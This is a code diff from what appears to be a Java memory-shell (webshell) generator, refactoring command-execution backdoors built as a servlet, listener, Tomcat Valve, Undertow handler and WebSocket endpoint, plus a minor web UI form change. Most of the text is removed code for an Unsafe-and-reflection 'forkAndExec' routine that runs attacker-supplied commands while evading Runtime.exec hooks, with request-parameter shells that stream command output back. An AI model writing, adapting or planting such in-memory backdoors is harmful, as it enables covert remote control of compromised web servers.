unsafe.allocateInstance(processClass); - - byte[][] args = new byte[strs.length - 1][]; - int size = args.length; - - for (int i = 0; i < args.length; i++) { - args[i] = strs[i + 1].getBytes(); - size += args[i].length; - } - - byte[] argBlock = new byte[size]; - int i = 0; - - for (byte[] arg : args) { - System.arraycopy(arg, 0, argBlock, i, arg.length); - i += arg.length + 1; - } - - int[] envc = new int[1]; - int[] std_fds = new int[]{-1, -1, -1}; - byte[] result = toCString(strs[0]); - try { - Field helperpathField = processClass.getDeclaredField("helperpath"); - helperpathField.setAccessible(true); - byte[] helperpathObject = (byte[]) helperpathField.get(processObject); - - Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); - launchMechanismField.setAccessible(true); - Object launchMechanismObject = launchMechanismField.get(processObject); - int mode = 0; - try { - Field value = launchMechanismObject.getClass().getDeclaredField("value"); - value.setAccessible(true); - mode = (Integer) value.get(launchMechanismObject); - } catch (NoSuchFieldException e) { - int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); - mode = ordinal + 1; - } - - Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, - byte[].class, int.class, byte[].class, int[].class, boolean.class); - forkMethod.setAccessible(true); - forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length, - null, envc[0], null, std_fds, false); - } catch (NoSuchFieldException e) { - // JDK7 - Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class, - byte[].class, int.class, byte[].class, int[].class, boolean.class); - forkMethod.setAccessible(true); - forkMethod.invoke(processObject, result, argBlock, args.length, - null, envc[0], null, std_fds, false); - } - - try { - Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); - initStreamsMethod.setAccessible(true); - initStreamsMethod.invoke(processObject, std_fds); - } catch (NoSuchMethodException e) { - // JDK11 - Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class); - initStreamsMethod.setAccessible(true); - initStreamsMethod.invoke(processObject, std_fds, false); - } - - Method getInputStreamMethod = processClass.getMethod("getInputStream"); - getInputStreamMethod.setAccessible(true); - return (InputStream) getInputStreamMethod.invoke(processObject); - } - - private static byte[] toCString(String s) { - if (s == null) - return null; - byte[] bytes = s.getBytes(); - byte[] result = new byte[bytes.length + 1]; - System.arraycopy(bytes, 0, - result, 0, - bytes.length); - result[result.length - 1] = (byte) 0; - return result; - } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java index 67740fff..ff52fdd9 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java @@ -1,21 +1,17 @@ package com.reajason.javaweb.memshell.shelltool.command; -import sun.misc.Unsafe; - import javax.servlet.ServletOutputStream; import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.InputStream; -import java.lang.reflect.Field; -import java.lang.reflect.Method; /** * @author ReaJason */ public class CommandListener implements ServletRequestListener { - public static String paramName; + private static String paramName; public CommandListener() { } @@ -25,10 +21,14 @@ public class CommandListener implements ServletRequestListener { } - public String getParam(String param) { + private String getParam(String param) { return param; } + private InputStream getInputStream(String cmd) throws Exception { + return null; + } + @Override public void requestInitialized(ServletRequestEvent servletRequestEvent) { HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); @@ -36,12 +36,7 @@ public class CommandListener implements ServletRequestListener { String cmd = getParam(request.getParameter(paramName)); if (cmd != null) { HttpServletResponse servletResponse = this.getResponseFromRequest(request); - InputStream inputStream = null; - try { - inputStream = forkAndExec(cmd); - } catch (Throwable e) { - inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); - } + InputStream inputStream = getInputStream(cmd); ServletOutputStream outputStream = servletResponse.getOutputStream(); byte[] buf = new byte[8192]; int length; @@ -53,101 +48,6 @@ public class CommandListener implements ServletRequestListener { } } - @SuppressWarnings("all") - public static InputStream forkAndExec(String cmd) throws Exception { - String[] strs = cmd.split("\\s+"); - Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe"); - theUnsafeField.setAccessible(true); - Unsafe unsafe = (Unsafe) theUnsafeField.get(null); - - Class processClass = null; - - try { - processClass = Class.forName("java.lang.UNIXProcess"); - } catch (ClassNotFoundException e) { - processClass = Class.forName("java.lang.ProcessImpl"); - } - Object processObject = unsafe.allocateInstance(processClass); - - byte[][] args = new byte[strs.length - 1][]; - int size = args.length; - - for (int i = 0; i < args.length; i++) { - args[i] = strs[i + 1].getBytes(); - size += args[i].length; - } - - byte[] argBlock = new byte[size]; - int i = 0; - - for (byte[] arg : args) { - System.arraycopy(arg, 0, argBlock, i, arg.length); - i += arg.length + 1; - } - - int[] envc = new int[1]; - int[] std_fds = new int[]{-1, -1, -1}; - byte[] result = toCString(strs[0]); - try { - Field helperpathField = processClass.getDeclaredField("helperpath"); - helperpathField.setAccessible(true); - byte[] helperpathObject = (byte[]) helperpathField.get(processObject); - - Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); - launchMechanismField.setAccessible(true); - Object launchMechanismObject = launchMechanismField.get(processObject); - int mode = 0; - try { - Field value = launchMechanismObject.getClass().getDeclaredField("value"); - value.setAccessible(true); - mode = (Integer) value.get(launchMechanismObject); - } catch (NoSuchFieldException e) { - int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); - mode = ordinal + 1; - } - - Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, - byte[].class, int.class, byte[].class, int[].class, boolean.class); - forkMethod.setAccessible(true); - forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length, - null, envc[0], null, std_fds, false); - } catch (NoSuchFieldException e) { - // JDK7 - Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class, - byte[].class, int.class, byte[].class, int[].class, boolean.class); - forkMethod.setAccessible(true); - forkMethod.invoke(processObject, result, argBlock, args.length, - null, envc[0], null, std_fds, false); - } - - try { - Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); - initStreamsMethod.setAccessible(true); - initStreamsMethod.invoke(processObject, std_fds); - } catch (NoSuchMethodException e) { - // JDK11 - Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class); - initStreamsMethod.setAccessible(true); - initStreamsMethod.invoke(processObject, std_fds, false); - } - - Method getInputStreamMethod = processClass.getMethod("getInputStream"); - getInputStreamMethod.setAccessible(true); - return (InputStream) getInputStreamMethod.invoke(processObject); - } - - private static byte[] toCString(String s) { - if (s == null) - return null; - byte[] bytes = s.getBytes(); - byte[] result = new byte[bytes.length + 1]; - System.arraycopy(bytes, 0, - result, 0, - bytes.length); - result[result.length - 1] = (byte) 0; - return result; - } - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { return null; } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java index dd7e4269..9237f4c4 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java @@ -17,28 +17,27 @@ import java.lang.reflect.Method; * @since 2024/12/15 */ public class CommandServlet extends HttpServlet { - public static String paramName; + private static String paramName; @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { doPost(req, resp); } - public String getParam(String param) { + private String getParam(String param) { return param; } + private InputStream getInputStream(String cmd) throws Exception { + return null; + } + @Override protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String cmd = getParam(request.getParameter(paramName)); try { if (cmd != null) { - InputStream inputStream = null; - try { - inputStream = forkAndExec(cmd); - } catch (Throwable e) { - inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); - } + InputStream inputStream = getInputStream(cmd); ServletOutputStream outputStream = response.getOutputStream(); byte[] buf = new byte[8192]; int length; @@ -50,99 +49,4 @@ public class CommandServlet extends HttpServlet { e.printStackTrace(); } } - - @SuppressWarnings("all") - public static InputStream forkAndExec(String cmd) throws Exception { - String[] strs = cmd.split("\\s+"); - Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe"); - theUnsafeField.setAccessible(true); - Unsafe unsafe = (Unsafe) theUnsafeField.get(null); - - Class processClass = null; - - try { - processClass = Class.forName("java.lang.UNIXProcess"); - } catch (ClassNotFoundException e) { - processClass = Class.forName("java.lang.ProcessImpl"); - } - Object processObject = unsafe.allocateInstance(processClass); - - byte[][] args = new byte[strs.length - 1][]; - int size = args.length; - - for (int i = 0; i < args.length; i++) { - args[i] = strs[i + 1].getBytes(); - size += args[i].length; - } - - byte[] argBlock = new byte[size]; - int i = 0; - - for (byte[] arg : args) { - System.arraycopy(arg, 0, argBlock, i, arg.length); - i += arg.length + 1; - } - - int[] envc = new int[1]; - int[] std_fds = new int[]{-1, -1, -1}; - byte[] result = toCString(strs[0]); - try { - Field helperpathField = processClass.getDeclaredField("helperpath"); - helperpathField.setAccessible(true); - byte[] helperpathObject = (byte[]) helperpathField.get(processObject); - - Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); - launchMechanismField.setAccessible(true); - Object launchMechanismObject = launchMechanismField.get(processObject); - int mode = 0; - try { - Field value = launchMechanismObject.getClass().getDeclaredField("value"); - value.setAccessible(true); - mode = (Integer) value.get(launchMechanismObject); - } catch (NoSuchFieldException e) { - int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); - mode = ordinal + 1; - } - - Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, - byte[].class, int.class, byte[].class, int[].class, boolean.class); - forkMethod.setAccessible(true); - forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length, - null, envc[0], null, std_fds, false); - } catch (NoSuchFieldException e) { - // JDK7 - Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class, - byte[].class, int.class, byte[].class, int[].class, boolean.class); - forkMethod.setAccessible(true); - forkMethod.invoke(processObject, result, argBlock, args.length, - null, envc[0], null, std_fds, false); - } - - try { - Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); - initStreamsMethod.setAccessible(true); - initStreamsMethod.invoke(processObject, std_fds); - } catch (NoSuchMethodException e) { - // JDK11 - Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class); - initStreamsMethod.setAccessible(true); - initStreamsMethod.invoke(processObject, std_fds, false); - } - - Method getInputStreamMethod = processClass.getMethod("getInputStream"); - getInputStreamMethod.setAccessible(true); - return (InputStream) getInputStreamMethod.invoke(processObject); - } - - private static byte[] toCString(String s) { - if (s == null) - return null; - byte[] bytes = s.getBytes(); - byte[] result = new byte[bytes.length + 1]; - System.arraycopy(bytes, 0, - result, 0, - bytes.length); - result[result.length - 1] = (byte) 0; - return result; - } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java index 0a13d11c..29e04cc7 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java @@ -12,12 +12,16 @@ import java.lang.reflect.Method; * @since 2025/5/15 */ public class CommandUndertowServletHandler { - public static String paramName; + private static String paramName; - public String getParam(String param) { + private String getParam(String param) { return param; } + private InputStream getInputStream(String cmd) throws Exception { + return null; + } + @Override public boolean equals(Object obj) { Object[] args = ((Object[]) obj); @@ -32,12 +36,7 @@ public class CommandUndertowServletHandler { Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext); String cmd = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName)); if (cmd != null) { - InputStream inputStream = null; - try { - inputStream = forkAndExec(cmd); - } catch (Throwable e) { - inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); - } + InputStream inputStream = getInputStream(cmd); OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); byte[] buf = new byte[8192]; int length; @@ -51,99 +50,4 @@ public class CommandUndertowServletHandler { } return false; } - - @SuppressWarnings("all") - public static InputStream forkAndExec(String cmd) throws Exception { - String[] strs = cmd.split("\\s+"); - Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe"); - theUnsafeField.setAccessible(true); - Unsafe unsafe = (Unsafe) theUnsafeField.get(null); - - Class processClass = null; - - try { - processClass = Class.forName("java.lang.UNIXProcess"); - } catch (ClassNotFoundException e) { - processClass = Class.forName("java.lang.ProcessImpl"); - } - Object processObject = unsafe.allocateInstance(processClass); - - byte[][] args = new byte[strs.length - 1][]; - int size = args.length; - - for (int i = 0; i < args.length; i++) { - args[i] = strs[i + 1].getBytes(); - size += args[i].length; - } - - byte[] argBlock = new byte[size]; - int i = 0; - - for (byte[] arg : args) { - System.arraycopy(arg, 0, argBlock, i, arg.length); - i += arg.length + 1; - } - - int[] envc = new int[1]; - int[] std_fds = new int[]{-1, -1, -1}; - byte[] result = toCString(strs[0]); - try { - Field helperpathField = processClass.getDeclaredField("helperpath"); - helperpathField.setAccessible(true); - byte[] helperpathObject = (byte[]) helperpathField.get(processObject); - - Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); - launchMechanismField.setAccessible(true); - Object launchMechanismObject = launchMechanismField.get(processObject); - int mode = 0; - try { - Field value = launchMechanismObject.getClass().getDeclaredField("value"); - value.setAccessible(true); - mode = (Integer) value.get(launchMechanismObject); - } catch (NoSuchFieldException e) { - int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); - mode = ordinal + 1; - } - - Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, - byte[].class, int.class, byte[].class, int[].class, boolean.class); - forkMethod.setAccessible(true); - forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length, - null, envc[0], null, std_fds, false); - } catch (NoSuchFieldException e) { - // JDK7 - Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class, - byte[].class, int.class, byte[].class, int[].class, boolean.class); - forkMethod.setAccessible(true); - forkMethod.invoke(processObject, result, argBlock, args.length, - null, envc[0], null, std_fds, false); - } - - try { - Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); - initStreamsMethod.setAccessible(true); - initStreamsMethod.invoke(processObject, std_fds); - } catch (NoSuchMethodException e) { - // JDK11 - Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class); - initStreamsMethod.setAccessible(true); - initStreamsMethod.invoke(processObject, std_fds, false); - } - - Method getInputStreamMethod = processClass.getMethod("getInputStream"); - getInputStreamMethod.setAccessible(true); - return (InputStream) getInputStreamMethod.invoke(processObject); - } - - private static byte[] toCString(String s) { - if (s == null) - return null; - byte[] bytes = s.getBytes(); - byte[] result = new byte[bytes.length + 1]; - System.arraycopy(bytes, 0, - result, 0, - bytes.length); - result[result.length - 1] = (byte) 0; - return result; - } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java index f43f55fe..824a2207 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java @@ -3,26 +3,49 @@ package com.reajason.javaweb.memshell.shelltool.command; import org.apache.catalina.Valve; import org.apache.catalina.connector.Request; import org.apache.catalina.connector.Response; -import sun.misc.Unsafe; import javax.servlet.ServletException; import javax.servlet.ServletOutputStream; import java.io.IOException; import java.io.InputStream; -import java.lang.reflect.Field; -import java.lang.reflect.Method; /** * @author ReaJason */ public class CommandValve implements Valve { - public static String paramName; + private static String paramName; + + private String getParam(String param) { + return param; + } + + private InputStream getInputStream(String cmd) throws Exception { + return null; + } + + @Override + public void invoke(Request request, Response response) throws IOException, ServletException { + String cmd = getParam(request.getParameter(paramName)); + try { + if (cmd != null) { + InputStream inputStream = getInputStream(cmd); + ServletOutputStream outputStream = response.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + return; + } + } catch (Exception e) { + e.printStackTrace(); + } + this.getNext().invoke(request, response); + } + protected Valve next; protected boolean asyncSupported; - public CommandValve() { - } - @Override public Valve getNext() { return this.next; @@ -41,128 +64,4 @@ public class CommandValve implements Valve { @Override public void backgroundProcess() { } - - public String getParam(String param) { - return param; - } - - @Override - public void invoke(Request request, Response response) throws IOException, ServletException { - String cmd = getParam(request.getParameter(paramName)); - try { - if (cmd != null) { - InputStream inputStream = null; - try { - inputStream = forkAndExec(cmd); - } catch (Throwable e) { - inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); - } - ServletOutputStream outputStream = response.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - return; - } - } catch (Exception ignored) { - - } - this.getNext().invoke(request, response); - } - - @SuppressWarnings("all") - public static InputStream forkAndExec(String cmd) throws Exception { - String[] strs = cmd.split("\\s+"); - Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe"); - theUnsafeField.setAccessible(true); - Unsafe unsafe = (Unsafe) theUnsafeField.get(null); - - Class processClass = null; - - try { - processClass = Class.forName("java.lang.UNIXProcess"); - } catch (ClassNotFoundException e) { - processClass = Class.forName("java.lang.ProcessImpl"); - } - Object processObject = unsafe.allocateInstance(processClass); - - byte[][] args = new byte[strs.length - 1][]; - int size = args.length; - - for (int i = 0; i < args.length; i++) { - args[i] = strs[i + 1].getBytes(); - size += args[i].length; - } - - byte[] argBlock = new byte[size]; - int i = 0; - - for (byte[] arg : args) { - System.arraycopy(arg, 0, argBlock, i, arg.length); - i += arg.length + 1; - } - - int[] envc = new int[1]; - int[] std_fds = new int[]{-1, -1, -1}; - byte[] result = toCString(strs[0]); - try { - Field helperpathField = processClass.getDeclaredField("helperpath"); - helperpathField.setAccessible(true); - byte[] helperpathObject = (byte[]) helperpathField.get(processObject); - - Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); - launchMechanismField.setAccessible(true); - Object launchMechanismObject = launchMechanismField.get(processObject); - int mode = 0; - try { - Field value = launchMechanismObject.getClass().getDeclaredField("value"); - value.setAccessible(true); - mode = (Integer) value.get(launchMechanismObject); - } catch (NoSuchFieldException e) { - int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); - mode = ordinal + 1; - } - - Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, - byte[].class, int.class, byte[].class, int[].class, boolean.class); - forkMethod.setAccessible(true); - forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length, - null, envc[0], null, std_fds, false); - } catch (NoSuchFieldException e) { - // JDK7 - Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class, - byte[].class, int.class, byte[].class, int[].class, boolean.class); - forkMethod.setAccessible(true); - forkMethod.invoke(processObject, result, argBlock, args.length, - null, envc[0], null, std_fds, false); - } - - try { - Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); - initStreamsMethod.setAccessible(true); - initStreamsMethod.invoke(processObject, std_fds); - } catch (NoSuchMethodException e) { - // JDK11 - Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class); - initStreamsMethod.setAccessible(true); - initStreamsMethod.invoke(processObject, std_fds, false); - } - - Method getInputStreamMethod = processClass.getMethod("getInputStream"); - getInputStreamMethod.setAccessible(true); - return (InputStream) getInputStreamMethod.invoke(processObject); - } - - private static byte[] toCString(String s) { - if (s == null) - return null; - byte[] bytes = s.getBytes(); - byte[] result = new byte[bytes.length + 1]; - System.arraycopy(bytes, 0, - result, 0, - bytes.length); - result[result.length - 1] = (byte) 0; - return result; - } } \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java index 5c521053..d9260b35 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java @@ -1,7 +1,5 @@ package com.reajason.javaweb.memshell.shelltool.command; -import sun.misc.Unsafe; - import javax.websocket.Endpoint; import javax.websocket.EndpointConfig; import javax.websocket.MessageHandler; @@ -9,8 +7,6 @@ import javax.websocket.Session; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; -import java.lang.reflect.Field; -import java.lang.reflect.Method; /** * wsMemShell @@ -26,15 +22,14 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole processClass = null; - - try { - processClass = Class.forName("java.lang.UNIXProcess"); - } catch (ClassNotFoundException e) { - processClass = Class.forName("java.lang.ProcessImpl"); - } - Object processObject = unsafe.allocateInstance(processClass); - - byte[][] args = new byte[strs.length - 1][]; - int size = args.length; - - for (int i = 0; i < args.length; i++) { - args[i] = strs[i + 1].getBytes(); - size += args[i].length; - } - - byte[] argBlock = new byte[size]; - int i = 0; - - for (byte[] arg : args) { - System.arraycopy(arg, 0, argBlock, i, arg.length); - i += arg.length + 1; - } - - int[] envc = new int[1]; - int[] std_fds = new int[]{-1, -1, -1}; - byte[] result = toCString(strs[0]); - try { - Field helperpathField = processClass.getDeclaredField("helperpath"); - helperpathField.setAccessible(true); - byte[] helperpathObject = (byte[]) helperpathField.get(processObject); - - Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); - launchMechanismField.setAccessible(true); - Object launchMechanismObject = launchMechanismField.get(processObject); - int mode = 0; - try { - Field value = launchMechanismObject.getClass().getDeclaredField("value"); - value.setAccessible(true); - mode = (Integer) value.get(launchMechanismObject); - } catch (NoSuchFieldException e) { - int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); - mode = ordinal + 1; - } - - Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, - byte[].class, int.class, byte[].class, int[].class, boolean.class); - forkMethod.setAccessible(true); - forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length, - null, envc[0], null, std_fds, false); - } catch (NoSuchFieldException e) { - // JDK7 - Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class, - byte[].class, int.class, byte[].class, int[].class, boolean.class); - forkMethod.setAccessible(true); - forkMethod.invoke(processObject, result, argBlock, args.length, - null, envc[0], null, std_fds, false); - } - - try { - Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); - initStreamsMethod.setAccessible(true); - initStreamsMethod.invoke(processObject, std_fds); - } catch (NoSuchMethodException e) { - // JDK11 - Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class); - initStreamsMethod.setAccessible(true); - initStreamsMethod.invoke(processObject, std_fds, false); - } - - Method getInputStreamMethod = processClass.getMethod("getInputStream"); - getInputStreamMethod.setAccessible(true); - return (InputStream) getInputStreamMethod.invoke(processObject); - } - - private static byte[] toCString(String s) { - if (s == null) - return null; - byte[] bytes = s.getBytes(); - byte[] result = new byte[bytes.length + 1]; - System.arraycopy(bytes, 0, - result, 0, - bytes.length); - result[result.length - 1] = (byte) 0; - return result; - } - @Override public void onOpen(final Session session, EndpointConfig config) { this.session = session; diff --git a/web/src/components/main-config-card.tsx b/web/src/components/main-config-card.tsx index 166a2129..74b62956 100644 --- a/web/src/components/main-config-card.tsx +++ b/web/src/components/main-config-card.tsx @@ -120,6 +120,8 @@ export function MainConfigCard({ const handleShellToolChange = (value: string) => { const resetCommand = () => { form.resetField("commandParamName"); + form.resetField("implementationClass"); + form.resetField("encryptor"); }; const resetGodzilla = () => { diff --git a/web/src/components/tools/command-tab.tsx b/web/src/components/tools/command-tab.tsx index 54d1e1d6..d4cb84f0 100644 --- a/web/src/components/tools/command-tab.tsx +++ b/web/src/components/tools/command-tab.tsx @@ -1,7 +1,6 @@ import { env } from "@/config"; import { FormSchema } from "@/types/schema"; import { useQuery } from "@tanstack/react-query"; -import { useEffect, useState } from "react"; import { FormProvider, UseFormReturn } from "react-hook-form"; import { useTranslation } from "react-i18next"; import { Card, CardContent } from "../ui/card"; @@ -18,36 +17,24 @@ export function CommandTabContent({ shellTypes, }: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { const { t } = useTranslation(); - const { data } = useQuery>({ - queryKey: ["commandEncryptor"], + const { data } = useQuery<{ encryptors: Array; implementationClasses: Array }>({ + queryKey: ["commandConfigs"], queryFn: async () => { - const response = await fetch(`${env.API_URL}/config/command/encryptors`); + const response = await fetch(`${env.API_URL}/config/command/configs`); return await response.json(); }, }); - const rawEncryptors = data ?? []; - const [encryptors, setEncryptors] = useState>(rawEncryptors); - - const shellType = form.watch("shellType"); - - useEffect(() => { - if (shellType.startsWith("Agent")) { - setEncryptors(["RAW"]); - } else { - setEncryptors(rawEncryptors); - } - }, [shellType, rawEncryptors]); return ( -
+
-
+
- + )} @@ -74,8 +61,31 @@ export function CommandTabContent({ - - {encryptors?.map((v) => ( + + {data?.encryptors?.map((v) => ( + + {v} + + ))} + + + + )} + /> + ( + + {t("shellToolConfig.implementationClass")} +